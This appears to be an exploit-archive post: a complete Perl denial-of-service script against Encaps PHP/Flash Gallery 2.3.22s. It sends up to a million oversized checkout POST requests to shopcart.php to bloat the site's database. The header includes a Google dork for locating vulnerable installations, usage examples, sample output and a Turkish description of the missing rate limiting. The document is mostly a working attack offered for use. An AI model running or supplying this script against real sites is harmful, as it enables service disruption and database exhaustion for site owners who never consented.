Encaps PHP/Flash Gallery 2.3.22s Database DoS

`Hi guys,  
  
#ref: http://www.milw00rm.com/exploits/5179  
  
#!/usr/bin/perl -w  
#Title : Encaps PHP/Flash Gallery 2.3.22s Database Puffing Up Exploit  
#Vendor : http://www.encaps.net  
#Download : http://sourceforge.net/projects/encapsnet/files/  
#Author : ZoRLu / [email protected]  
#Website : milw00rm.com / milw00rm.net / milw00rm.org  
#Twitter : https://twitter.com/milw00rm or @milw00rm  
#Test : Windows7 Ultimate  
#Date : 19/12/2014  
#Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com,   
sebug.net and others  
#BkiAdam : Dr.Ly0n, KnocKout, LifeSteaLeR, Nicx (harf sirali :)) )  
#Dork : intext:"encaps php gallery"  
#Note : must be shopcart is enable  
#Desciption : its be Turkish because i dont know very well speak   
english  
#Script uzerinden begendiginiz herhangi bir urunu siparis ederken   
(mesela: http://server/path/shopcart.php?action=add&item_id=1)  
#sizlerden isim, e-posta ve adres bilgileri isteniyor. Bu bilgilerin   
kontrolu ise (http://server/path/admin/shopcart.php)  
#linki uzerinden yapilmakta yani girdiginiz her turlu veri burada kayit   
altina aliniyor haliyle veritabanina yaziliyor ve bu islem  
#yapilirken kod filtreleme disinda hic bir veri giris kontrolu   
yapilmiyor. Evet item_name, address_name vb. parametreler icin karakter  
#sinirlamasi yapilmis fakat bu verilerin ardarda gonderilmesini   
engelleyen herhangi bir uygulama soz konusu degil, istedigimiz kadar  
#veriyi araliksiz gonderip veritabanina buyuk bir yukleme yapabiliyoruz   
haliyle veritabanini sisiriyoruz yani database puffing up ;)  
#  
#perl encaps.pl  
#  
#Usage: perl encaps.pl http://server /script_path/  
#Exam1: perl encaps.pl http://server /test/  
#Exam2: perl encaps.pl http://server /  
#  
#perl encaps.pl http://server /test/  
#[+] Sending: 1  
#[+] Sending: 2  
#[+] Sending: 3  
#[+] Sending: 4  
#[+] Sending: 5  
#[+] Sending: 6  
#[+] Sending: 7  
#[+] Sending: 8  
#[+] Sending: 9  
#[+] Sending: 10  
#[+] Sending: 11  
#Terminating on signal SIGINT(2) (i stopped exploit for stop ctrl+c   
please)  
#You can look here for your send: http://server/test/admin/shopcart.php  
#  
  
  
use HTTP::Request::Common qw( POST );  
use LWP::UserAgent;  
use IO::Socket;  
use strict;  
use warnings;  
  
sub hlp() {  
  
system(($^O eq 'MSWin32') ? 'cls' : 'clear');  
print "\nUsage: perl $0 http://server /script_path/ \n";  
print "Exam1: perl $0 http://server /test/ \n";  
print "Exam2: perl $0 http://server / \n";  
  
}  
  
if(@ARGV != 2) {  
  
hlp();  
exit();  
  
}  
  
my $ua = LWP::UserAgent->new;  
my $url = $ARGV[0];  
my $path = $ARGV[1];  
my $puffing = $url.$path."shopcart.php?action=add";  
my $address = "A" x 255; #its limit =\ its for  
my $itemname = "A" x 255; #its limit =/ more loading at database  
  
my $req = POST $puffing, [  
payer_business_name => 'TestName', #for loading its a little  
payer_email => '[email protected]', #for loading its a little  
address_name => $address, #its 255 character for more loading  
item_number1 => '1', #its item number not null  
item_name1 => $itemname, #its 255 character for more loading  
amount1 => '', #its maybe null because limit a little  
quantity1 => '', #its maybe null because limit a little  
mc_gross_1 => '', #its maybe null because limit a little  
num_cart_items => '1', #its not null  
action => 'checkout_submit', #its action and not null  
];  
  
  
my $resp = $ua->request($req);  
unless ($resp->is_success) {  
  
print "[-] HTTP POST error code: ", $resp->code, "\n";  
print "[-] HTTP POST error message: ", $resp->message, "\n";  
  
}  
  
else {  
  
my $resp = $ua->request($req);  
my $message = $resp->decoded_content;  
my $regex = "Thank you for your interest, we will contact you soon.";  
unless ($message =~ /$regex/) {  
print "[-] Exploit Failed\n";  
}  
  
else {  
  
for (my $i=1; $i<=1000000; $i++) {  
  
my $resp = $ua->request($req);  
print "[+] Sending: $i\n";  
  
}  
  
  
}  
  
}  
`